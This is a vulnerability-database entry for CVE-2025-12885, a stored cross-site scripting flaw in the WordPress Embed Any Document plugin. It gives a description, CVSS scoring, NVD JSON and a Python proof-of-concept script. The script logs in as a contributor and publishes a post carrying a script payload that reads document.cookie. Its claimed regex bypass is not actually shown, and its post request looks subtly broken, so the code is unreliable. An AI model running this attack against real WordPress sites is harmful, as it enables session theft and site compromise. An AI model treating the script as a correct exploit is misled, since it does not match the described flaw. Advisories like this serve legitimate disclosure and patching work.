Security Vulnerability Report
中文
CVE-2025-12885 CVSS 6.4 MEDIUM

CVE-2025-12885

Published: 2025-12-18 03:15:46
Last Modified: 2026-04-15 00:35:42

Description

The Embed Any Document – Embed PDF, Word, PowerPoint and Excel Files plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the sanitize_pdf_src function regex bypass in all versions up to, and including, 2.7.10 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Embed Any Document插件 < 2.7.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # CVE-2025-12885 PoC - Stored XSS via sanitize_pdf_src regex bypass # Target: WordPress with Embed Any Document plugin <= 2.7.10 target_url = "http://target-wordpress-site.com" username = "attacker_contributor" password = "contributor_password" # Step 1: Login to WordPress session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/" } login_response = session.post(login_url, data=login_data) if "wordpress_logged_in" not in session.cookies: print("[-] Login failed") exit(1) print("[+] Login successful") # Step 2: Create post with malicious payload # Bypass regex in sanitize_pdf_src to inject XSS post_url = f"{target_url}/wp-admin/post-new.php" # Malicious payload that bypasses sanitize_pdf_src regex # The payload exploits regex matching weakness xss_payload = '<script>alert(document.cookie)</script>' # Create post with embedded document containing XSS post_data = { "post_title": "Malicious Document", "post_content": f'[embeddoc url="https://malicious-site.com/doc.pdf?src={xss_payload}" viewer="google"]', "post_status": "publish" } create_post = session.post(post_url, data=post_data) if create_post.status_code == 200: print("[+] Malicious post created successfully") print(f"[+] XSS payload stored in database - will execute on page view") else: print("[-] Failed to create post")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12885", "sourceIdentifier": "[email protected]", "published": "2025-12-18T03:15:45.680", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Embed Any Document – Embed PDF, Word, PowerPoint and Excel Files plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the sanitize_pdf_src function regex bypass in all versions up to, and including, 2.7.10 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3406443/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/efbdf0f0-6b38-418c-b3fb-396f89ada34f?source=cve", "source": "[email protected]"}]}}